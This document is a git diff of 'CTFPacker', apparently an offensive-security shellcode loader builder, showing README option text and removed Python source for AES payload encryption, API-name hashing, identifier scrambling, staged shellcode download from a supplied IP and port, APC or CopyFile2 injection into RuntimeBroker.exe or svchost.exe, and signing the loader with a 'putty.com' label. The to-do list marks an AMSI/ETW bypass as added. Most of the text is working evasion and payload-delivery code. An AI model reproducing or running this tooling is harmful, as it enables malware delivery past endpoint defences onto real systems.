-apc {RuntimeBroker.exe,svchost.exe}
|
||||
Target injection process (default: RuntimeBroker.exe).
|
||||
-inj {apc,copyfile2}, --inject-method {apc,copyfile2}
|
||||
Injection method: 'apc' for EarlyBird APC or 'copyfile2' for
|
||||
CopyFile2 progress callback execution (default: apc).
|
||||
-e, --encrypt Encrypt the shellcode via AES-128-CBC.
|
||||
-s, --scramble Scramble the loader's functions and variables.
|
||||
-er, --entropy-reduction Reduce binary entropy by embedding English text padding.
|
||||
-pfx PFX, --pfx PFX Path to the PFX file for signing the loader.
|
||||
-pfx-pass PFX_PASSWORD, --pfx-password PFX_PASSWORD
|
||||
Password for the PFX file.
|
||||
Password for the PFX file.
|
||||
|
||||
Example usage: python main.py stageless -p shellcode.bin -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'
|
||||
Example usage: python main.py stageless -p shellcode.bin -e -s -inj copyfile2 -pfx cert.pfx -pfx-pass 'password'
|
||||
```
|
||||
|
||||
### GUI
|
||||
|
||||
If you installed via pipx or `install.sh`, you can launch the GUI directly:
|
||||
|
||||
```bash
|
||||
ctfpacker-gui
|
||||
```
|
||||
|
||||
The GUI exposes all the same options as the CLI but with real-time build output, a log panel, and a profile system. You can save/load build configurations as named profiles, and export/import them as `.ctfp` files to share across machines.
|
||||
|
||||
### Format option
|
||||
|
||||
In both cases, staged or stageless, you can choose whether to compile your loader as an EXE or a DLL. To compile it as a DLL, simply append `-f DLL`. By default, it compiles as an EXE, though you can also explicitly specify this using -f EXE (but you don't need to).
|
||||
@@ -352,8 +297,10 @@ https://github.com/user-attachments/assets/4aa56672-bcfb-424b-aa89-a919b514ae35
|
||||
## To-Do
|
||||
|
||||
- [x] Maybe adding a setup.py file to install via pip / pipx
|
||||
- [ ] Other templates with different injection techniques
|
||||
- [ ] Adding AMSI / ETW bypass (depends on what injection technique I am going to put here)
|
||||
- [x] Other templates with different injection techniques (added CopyFile2 progress callback)
|
||||
- [x] PyQt6 GUI with build profiles & real-time output
|
||||
- [x] Adding AMSI / ETW bypass (depends on what injection technique I am going to put here)
|
||||
- [ ] More injection techniques
|
||||
|
||||
## Detections
|
||||
|
||||
@@ -368,9 +315,9 @@ https://github.com/user-attachments/assets/4aa56672-bcfb-424b-aa89-a919b514ae35
|
||||
Most of the code is not from me. Here are the original authors:
|
||||
|
||||
```
|
||||
@ Maldevacademy - https://maldevacademy.com
|
||||
@ Maldevacademy - https://maldevacademy.com ; https://github.com/Maldev-Academy/HellHall
|
||||
@ trickster0 - https://github.com/trickster0/TartarusGate (indirect syscalls)
|
||||
@ SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection
|
||||
@ VX-Underground - https://github.com/vxunderground/VX-API/blob/main/VX-API/GetProcAddressDjb2.cpp
|
||||
@ klezVirus - https://github.com/klezVirus/SysWhispers3
|
||||
```
|
||||
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
# Windows Version
|
||||
@@ -1,45 +0,0 @@
|
||||
import os
|
||||
|
||||
from core.utils import Colors
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import pad
|
||||
|
||||
class Encryption:
|
||||
|
||||
# Generate a random KEY and IV
|
||||
def GenerateKey(key_size: int) -> tuple:
|
||||
# Generate a 16-byte or 32-byte key for AES-128 or AES-256
|
||||
key = os.urandom(key_size)
|
||||
#print(key)
|
||||
# Generate a 16-byte IV (128 bits, which is the block size for AES)
|
||||
iv = os.urandom(AES.block_size)
|
||||
#print(iv)
|
||||
|
||||
return key, iv
|
||||
|
||||
# AES-128 CBC encryption
|
||||
def EncryptAES(shellcode: bytes) -> bytes:
|
||||
#print(Colors.light_blue("[INF] Encryption Technique:\tAES-128-CBC"))
|
||||
|
||||
# Generate random key and IV
|
||||
key, iv = Encryption.GenerateKey(16)
|
||||
|
||||
# Formatting
|
||||
hex_key = ''.join([f"0x{key.hex()[i:i+2]}, " for i in range(0, len(key.hex()), 2)]).strip(", ")
|
||||
hex_iv = ''.join([f"0x{iv.hex()[i:i+2]}, " for i in range(0, len(iv.hex()), 2)]).strip(", ")
|
||||
|
||||
# Print the key and IV
|
||||
#print(Colors.light_blue(f"[INF] Key (hex):\t\t{hex_key}"))
|
||||
#print(Colors.light_blue(f"[INF] IV (hex):\t\t\t{hex_iv}\n"))
|
||||
|
||||
# Create AES cipher in CBC mode
|
||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||
|
||||
# Pad the shellcode to be a multiple of 16 bytes (AES block size)
|
||||
padded_shellcode = pad(shellcode, AES.block_size)
|
||||
|
||||
# Encrypt the padded shellcode
|
||||
enc_shellcode = cipher.encrypt(padded_shellcode)
|
||||
|
||||
# Return the encrypted shellcode
|
||||
return enc_shellcode, hex_key, hex_iv
|
||||
@@ -1,12 +0,0 @@
|
||||
|
||||
class Hasher:
|
||||
|
||||
def Hasher(input_string: str, INITIAL_SEED: int, INITIAL_HASH: int) -> int:
|
||||
|
||||
hash_value = INITIAL_HASH & 0xFFFFFFFF
|
||||
|
||||
for c in input_string.encode('ascii'):
|
||||
hash_value = ((hash_value << INITIAL_SEED) & 0xFFFFFFFF) + hash_value
|
||||
hash_value = (hash_value + c) & 0xFFFFFFFF
|
||||
|
||||
return f"0x{hash_value:08X}"
|
||||
@@ -1,77 +0,0 @@
|
||||
import colorama
|
||||
from colorama import Fore, Style
|
||||
|
||||
colorama.init(autoreset=True)
|
||||
|
||||
class Colors:
|
||||
@staticmethod
|
||||
def red(str):
|
||||
return Fore.RED + str + Style.RESET_ALL
|
||||
|
||||
@staticmethod
|
||||
def green(str):
|
||||
return Fore.GREEN + str + Style.RESET_ALL
|
||||
|
||||
@staticmethod
|
||||
def yellow(str):
|
||||
return Fore.YELLOW + str + Style.RESET_ALL
|
||||
|
||||
@staticmethod
|
||||
def blue(str):
|
||||
return Fore.BLUE + str + Style.RESET_ALL
|
||||
|
||||
@staticmethod
|
||||
def magenta(str):
|
||||
return Fore.MAGENTA + str + Style.RESET_ALL
|
||||
|
||||
@staticmethod
|
||||
def cyan(str):
|
||||
return Fore.CYAN + str + Style.RESET_ALL
|
||||
|
||||
@staticmethod
|
||||
def white(str):
|
||||
return Fore.WHITE + str + Style.RESET_ALL
|
||||
|
||||
@staticmethod
|
||||
def black(str):
|
||||
return Fore.BLACK + str + Style.RESET_ALL
|
||||
|
||||
@staticmethod
|
||||
def light_red(str):
|
||||
return Fore.LIGHTRED_EX + str + Style.RESET_ALL
|
||||
|
||||
@staticmethod
|
||||
def light_green(str):
|
||||
return Fore.LIGHTGREEN_EX + str + Style.RESET_ALL
|
||||
|
||||
@staticmethod
|
||||
def light_yellow(str):
|
||||
return Fore.LIGHTYELLOW_EX + str + Style.RESET_ALL
|
||||
|
||||
@staticmethod
|
||||
def light_blue(str):
|
||||
return Fore.LIGHTBLUE_EX + str + Style.RESET_ALL
|
||||
|
||||
@staticmethod
|
||||
def light_magenta(str):
|
||||
return Fore.LIGHTMAGENTA_EX + str + Style.RESET_ALL
|
||||
|
||||
|
||||
def banner():
|
||||
print(Colors.light_red("""
|
||||
|
||||
|
||||
▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███
|
||||
▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
|
||||
▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
|
||||
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
|
||||
▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
|
||||
░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
|
||||
░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
|
||||
░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░
|
||||
░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
|
||||
░ ░
|
||||
|
||||
|
||||
""")+
|
||||
("\n\tAuthor: mocha") +("\n\thttps://mochabyte.xyz\n"))
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
-810
@@ -1,810 +0,0 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
'''
|
||||
|
||||
Author: mocha
|
||||
X (Twitter): @mochabyte0x
|
||||
|
||||
'''
|
||||
import os
|
||||
import sys
|
||||
import random
|
||||
import subprocess
|
||||
import shutil, errno
|
||||
|
||||
from importlib import resources
|
||||
from core.hashing import Hasher
|
||||
from argparse import ArgumentParser
|
||||
from core.utils import Colors, banner
|
||||
from core.encryption import Encryption
|
||||
|
||||
|
||||
|
||||
def main():
|
||||
|
||||
# Creating the parser first
|
||||
parser = ArgumentParser(description="CTFPacker", epilog="Author: @B0lg0r0v (Arthur Minasyan)")
|
||||
subparsers = parser.add_subparsers(dest="commands", help="Staged or Stageless Payloads", required=True)
|
||||
|
||||
# Creating the subparsers
|
||||
parser_staged = subparsers.add_parser("staged", help="Staged")
|
||||
parser_stageless = subparsers.add_parser("stageless", help="Stageless")
|
||||
|
||||
# Creating the arguments for the staged subcommand
|
||||
parser_staged.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
|
||||
parser_staged.add_argument("-f", "--format", type=str, choices=["EXE", "DLL"], default="EXE", help="Format of the output file (default: EXE).")
|
||||
parser_staged.add_argument("-apc", "--apc", help="Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe", choices=["RuntimeBroker.exe", "svchost.exe"], default="RuntimeBroker.exe")
|
||||
|
||||
parser_staged.add_argument("-i", "--ip-address", type=str, help="IP address from where your shellcode is gonna be fetched.", required=True)
|
||||
parser_staged.add_argument("-po", "--port", type=int, help="Port from where the HTTP connection is gonna fetch your shellcode.", required=True)
|
||||
parser_staged.add_argument("-pa", "--path", type=str, help="Path from where your shellcode uis gonna be fetched. ", required=True)
|
||||
parser_staged.add_argument("-o", "--output", type=str, help="Output path where the shellcode is gonna be saved.")
|
||||
|
||||
|
||||
parser_staged.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
|
||||
parser_staged.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
|
||||
parser_staged.add_argument("-pfx", "--pfx", type=str, help="Path to the PFX file for signing the loader.")
|
||||
parser_staged.add_argument("-pfx-pass", "--pfx-password", type=str, help="Password for the PFX file.")
|
||||
|
||||
parser_staged.epilog = "Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'"
|
||||
|
||||
|
||||
# Creating the arguments for the stageless subcommand
|
||||
parser_stageless.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
|
||||
parser_stageless.add_argument("-f", "--format", type=str, choices=["EXE", "DLL"], default="EXE", help="Format of the output file (default: EXE).")
|
||||
parser_stageless.add_argument("-apc", "--apc", help="Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe", choices=["RuntimeBroker.exe", "svchost.exe"], default="RuntimeBroker.exe")
|
||||
|
||||
parser_stageless.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
|
||||
parser_stageless.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
|
||||
parser_stageless.add_argument("-pfx", "--pfx", type=str, help="Path to the PFX file for signing the loader.")
|
||||
parser_stageless.add_argument("-pfx-pass", "--pfx-password", type=str, help="Password for the PFX file.")
|
||||
|
||||
parser_stageless.epilog = "Example usage: python main.py stageless -p shellcode.bin -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'"
|
||||
|
||||
# Parsing the arguments
|
||||
args = parser.parse_args()
|
||||
|
||||
|
||||
# Banner
|
||||
banner()
|
||||
|
||||
#--------------------------------------#
|
||||
#----------- Staged Variant -----------#
|
||||
#--------------------------------------#
|
||||
|
||||
if args.commands == "staged":
|
||||
|
||||
print(Colors.green("[i] Staged Payload selected."))
|
||||
print(Colors.light_yellow("[+] Starting the process..."))
|
||||
|
||||
# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
|
||||
cr_directory = os.path.dirname(os.path.abspath(__file__))
|
||||
src_directory = resources.files("templates").joinpath("staged")
|
||||
dst_directory = f'{cr_directory}\\.ctfpacker'
|
||||
|
||||
# Copying the files from the templates folder to the temporary folder
|
||||
try:
|
||||
shutil.copytree(src_directory, dst_directory)
|
||||
except OSError as e:
|
||||
# deleting the folder if it exists
|
||||
if e.errno == errno.EEXIST:
|
||||
shutil.rmtree(dst_directory)
|
||||
shutil.copytree(src_directory, dst_directory)
|
||||
else:
|
||||
print(f"Error: {e}")
|
||||
|
||||
if args.payload and args.ip_address and args.port and args.path:
|
||||
|
||||
print(Colors.green("[i] Corresponding template selected.."))
|
||||
|
||||
ip = args.ip_address
|
||||
port = args.port
|
||||
path = args.path
|
||||
|
||||
with open(f'{dst_directory}\\download.c', 'r') as file:
|
||||
download_data = file.readlines()
|
||||
|
||||
for i in range(len(download_data)):
|
||||
if "#-IP_VALUE-#" in download_data[i]:
|
||||
download_data[i] = download_data[i].replace("#-IP_VALUE-#", ip)
|
||||
if "#-PORT_VALUE-#" in download_data[i]:
|
||||
download_data[i] = download_data[i].replace("#-PORT_VALUE-#", str(port))
|
||||
if "#-PATH_VALUE-#" in download_data[i]:
|
||||
download_data[i] = download_data[i].replace('#-PATH_VALUE-#', path)
|
||||
|
||||
with open(f'{dst_directory}\\download.c', 'w') as file:
|
||||
file.writelines(download_data)
|
||||
|
||||
# We read the shellcode from the file
|
||||
with open(args.payload, "rb") as file:
|
||||
payload = file.read()
|
||||
|
||||
INITIAL_SEED = random.randint(5, 20)
|
||||
INITIAL_HASH = random.randint(2000, 9000)
|
||||
|
||||
NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
|
||||
KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
|
||||
KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
|
||||
DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
|
||||
CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
|
||||
NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
|
||||
|
||||
# Modifying all .c and .h files in the temporary folder
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.endswith(".c") or filename.endswith(".h"):
|
||||
with open(f"{dst_directory}\\{filename}", "r") as file:
|
||||
data = file.readlines()
|
||||
|
||||
for i in range(len(data)):
|
||||
if "#-INITIAL_HASH_VALUE-# " in data[i]:
|
||||
data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
|
||||
if "#-INITIAL_SEED_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
|
||||
if "#-NTDLL_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
|
||||
if "#-KERNEL32_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
|
||||
if "#-KERNELBASE_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
|
||||
if "#-DAPS_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
|
||||
if "#-CREATEPROCESSA_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
|
||||
if "#-NTMVOS_VALUE-#" in data[i]:
|
||||
data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
|
||||
|
||||
with open(f"{dst_directory}\\{filename}", "w") as file:
|
||||
file.writelines(data)
|
||||
|
||||
print(Colors.green("[+] Template files modified !"))
|
||||
|
||||
print(Colors.light_yellow("[+] Setting APC injection target process..."))
|
||||
# Handling the target APC injection.
|
||||
if args.format is None or args.format == "EXE":
|
||||
with open(f'{dst_directory}/main.c', 'r') as file:
|
||||
main_data = file.readlines()
|
||||
for i in range(len(main_data)):
|
||||
if "#-TARGET_PROCESS-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
|
||||
|
||||
# Writing the data back to the file
|
||||
with open(f'{dst_directory}/main.c', 'w') as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
if args.format == "DLL":
|
||||
with open(f'{dst_directory}/main_dll.c', 'r') as file:
|
||||
main_data = file.readlines()
|
||||
for i in range(len(main_data)):
|
||||
if "#-TARGET_PROCESS-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc)
|
||||
|
||||
# Writing the data back to the file
|
||||
with open(f'{dst_directory}/main_dll.c', 'w') as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green(f"[+] Target APC injection process set to {args.apc} !"))
|
||||
|
||||
# Handling the case if encryption is wanted
|
||||
if args.encrypt:
|
||||
|
||||
print(Colors.green("[i] Encryption selected."))
|
||||
print(Colors.light_yellow("[+] Encrypting the payload..."))
|
||||
|
||||
enc_payload, key, iv = Encryption.EncryptAES(payload)
|
||||
|
||||
if os.path.exists(f"{args.output}.bin"):
|
||||
os.remove(f"{args.output}.bin")
|
||||
|
||||
with open(f"{args.output}.bin", "wb") as file:
|
||||
file.write(enc_payload)
|
||||
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.startswith("main") and (filename.endswith(".c")):
|
||||
with open(f"{dst_directory}\\{filename}", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
for i in range(len(main_data)):
|
||||
if "#-KEY_VALUE-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
|
||||
if "#-IV_VALUE-#" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
|
||||
|
||||
with open(f"{dst_directory}\\{filename}", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green(f"[+] Payload encrypted and saved to {os.getcwd()}\\{args.output}.bin !"))
|
||||
|
||||
|
||||
# If encryption is not wanted (for whatever reason)
|
||||
if args.encrypt is False:
|
||||
|
||||
print(Colors.green("[i] Encryption not selected."))
|
||||
print(Colors.light_yellow("[+] Compiling the loader..."))
|
||||
|
||||
# We comment out the encryption function in the main .c files
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.startswith("main") and (filename.endswith(".c")):
|
||||
with open(f"{dst_directory}\\{filename}", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
for i in range(len(main_data)):
|
||||
if "#include \"AES_128_CBC.h\"" in main_data[i]:
|
||||
main_data[i] = f"//{main_data[i]}"
|
||||
if "AES_CTX" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
|
||||
main_data[i] = f"//{main_data[i]}"
|
||||
if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
|
||||
main_data[i] = f"//{main_data[i]}"
|
||||
if "Starting the decryption..." in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
|
||||
main_data[i] = f"\t//{main_data[i]}"
|
||||
if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
|
||||
main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {{"
|
||||
|
||||
with open(f"{dst_directory}\\{filename}", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
# We copy the payload file to the path specified by the user
|
||||
shutil.copy(args.payload, f"{args.output}.bin")
|
||||
|
||||
if args.scramble:
|
||||
|
||||
print(Colors.green("[i] Scrambling selected."))
|
||||
print(Colors.light_yellow("[+] Scrambling the loader..."))
|
||||
|
||||
functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
|
||||
"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
|
||||
"GetContent", "NTAVM", "NTPVM", "NTWVM", "NTQAT"]
|
||||
scrambled_functions = []
|
||||
|
||||
variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId"]
|
||||
scrambled_variables = []
|
||||
|
||||
alphabet = list("abcdefghijklmnopqrstuvwxyz")
|
||||
used_combos = set()
|
||||
|
||||
# Scrambling the functions
|
||||
for sign in functions + variables:
|
||||
letter = random.choice(alphabet)
|
||||
multiplier = random.randint(1, 128)
|
||||
while (letter, multiplier) in used_combos:
|
||||
letter = random.choice(alphabet)
|
||||
multiplier = random.randint(1, 128)
|
||||
used_combos.add((letter, multiplier))
|
||||
scrambled_sign = letter * multiplier
|
||||
|
||||
if sign in functions:
|
||||
scrambled_functions.append(scrambled_sign)
|
||||
else:
|
||||
scrambled_variables.append(scrambled_sign)
|
||||
|
||||
# Modifying all .c and .h files in the temporary folder
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"):
|
||||
with open(f"{dst_directory}\\{filename}", "r") as file:
|
||||
data = file.readlines()
|
||||
|
||||
for i in range(len(data)):
|
||||
if "HashStringDjb2A" in data[i]:
|
||||
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
|
||||
if "GetProcAddressH" in data[i]:
|
||||
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
|
||||
if "GetModuleHandleH" in data[i]:
|
||||
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
|
||||
if "MapNtdll" in data[i]:
|
||||
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
|
||||
if "Unhook" in data[i]:
|
||||
data[i] = data[i].replace("Unhook", scrambled_functions[4])
|
||||
if "AES_DecryptInit" in data[i]:
|
||||
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
|
||||
if "AES_DecryptBuffer" in data[i]:
|
||||
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
|
||||
if "CreateSuspendedProcess" in data[i]:
|
||||
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
|
||||
if "APCInjection" in data[i]:
|
||||
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
|
||||
if "cDAPSu" in data[i]:
|
||||
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
|
||||
if "cCPAu" in data[i]:
|
||||
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
|
||||
if "aes_k" in data[i]:
|
||||
data[i] = data[i].replace("aes_k", scrambled_functions[11])
|
||||
if "aes_i" in data[i]:
|
||||
data[i] = data[i].replace("aes_i", scrambled_functions[12])
|
||||
if "AES_Decrypt" in data[i]:
|
||||
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
|
||||
if "AES_Encrypt" in data[i]:
|
||||
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
|
||||
if "AES_EncryptInit" in data[i]:
|
||||
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
|
||||
if "GetContent" in data[i]:
|
||||
data[i] = data[i].replace("GetContent", scrambled_functions[16])
|
||||
if "NTAVM" in data[i]:
|
||||
data[i] = data[i].replace("NTAVM", scrambled_functions[17])
|
||||
if "NTPVM" in data[i]:
|
||||
data[i] = data[i].replace("NTPVM", scrambled_functions[18])
|
||||
if "NTWVM" in data[i]:
|
||||
data[i] = data[i].replace("NTWVM", scrambled_functions[19])
|
||||
if "NTQAT" in data[i]:
|
||||
data[i] = data[i].replace("NTQAT", scrambled_functions[20])
|
||||
|
||||
with open(f"{dst_directory}\\{filename}", "w") as file:
|
||||
file.writelines(data)
|
||||
|
||||
# Modifying the main files
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.startswith("main") and filename.endswith(".c"):
|
||||
with open(f"{dst_directory}\\{filename}", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
for i in range(len(main_data)):
|
||||
if "sEncPayload" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
|
||||
if "pEncPayload" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
|
||||
if "pClearText" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
|
||||
if "ctx" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
|
||||
if "hProcess" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
|
||||
if "pProcess" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
|
||||
if "dwSizeOfClearText" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
|
||||
if "dwOldProtect" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
|
||||
if "dwProcessId" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
|
||||
|
||||
with open(f"{dst_directory}\\{filename}", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green("[+] Loader scrambled !"))
|
||||
|
||||
if args.format is None or args.format == "EXE":
|
||||
if args.pfx:
|
||||
|
||||
print(Colors.green("[i] Signing selected."))
|
||||
print(Colors.light_yellow("[+] Signing the loader..."))
|
||||
|
||||
osslsigncode_path = str(resources.files("custom_certs").joinpath("osslsigncode.exe"))
|
||||
# If the user supplied a PFX file, we use it to sign the loader.
|
||||
if args.pfx is not None:
|
||||
pfx_path = args.pfx
|
||||
else:
|
||||
print(Colors.red("[!] PFX file not found"))
|
||||
sys.exit(1)
|
||||
|
||||
if args.pfx_password:
|
||||
pfx_password = args.pfx_password
|
||||
else:
|
||||
print(Colors.red("[!] PFX password not provided"))
|
||||
sys.exit(1)
|
||||
|
||||
input_binary = "ctfloader.exe"
|
||||
signed_binary = "ctfloader_signed.exe"
|
||||
|
||||
os.system(f"cd {dst_directory} && make clean && make FORMAT=EXE")
|
||||
shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe")
|
||||
|
||||
if os.path.exists("ctfloader_signed.exe"):
|
||||
os.remove("ctfloader_signed.exe")
|
||||
|
||||
subprocess.run([
|
||||
osslsigncode_path,
|
||||
"sign",
|
||||
"-pkcs12", pfx_path,
|
||||
"-pass", pfx_password,
|
||||
"-n", "Signed Loader",
|
||||
"-i", "https://putty.com",
|
||||
"-t", "http://timestamp.sectigo.com",
|
||||
"-in", input_binary,
|
||||
"-out", signed_binary
|
||||
], check=True)
|
||||
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader signed !"))
|
||||
|
||||
else:
|
||||
|
||||
# Everything has been modified, we can now compile the loader
|
||||
os.system(f"cd {dst_directory} && make clean && make FORMAT=EXE")
|
||||
|
||||
# We move the compiled loader one directory up
|
||||
shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe")
|
||||
|
||||
# We delete the temporary folder
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader compiled !"))
|
||||
|
||||
print(Colors.green("[+] DONE !"))
|
||||
|
||||
if args.format == "DLL":
|
||||
|
||||
print(Colors.green("[i] DLL format selected."))
|
||||
|
||||
os.system(f"cd {dst_directory} && make clean && make FORMAT=DLL")
|
||||
|
||||
# We move the compiled loader one directory up
|
||||
shutil.move(f"{dst_directory}\\ctfloader.dll", f"ctfloader.dll")
|
||||
|
||||
# We delete the temporary folder
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader compiled !"))
|
||||
|
||||
print(Colors.green("[+] DONE !"))
|
||||
|
||||
#-----------------------------------------#
|
||||
#----------- Stageless Variant -----------#
|
||||
#-----------------------------------------#
|
||||
if args.commands == "stageless":
|
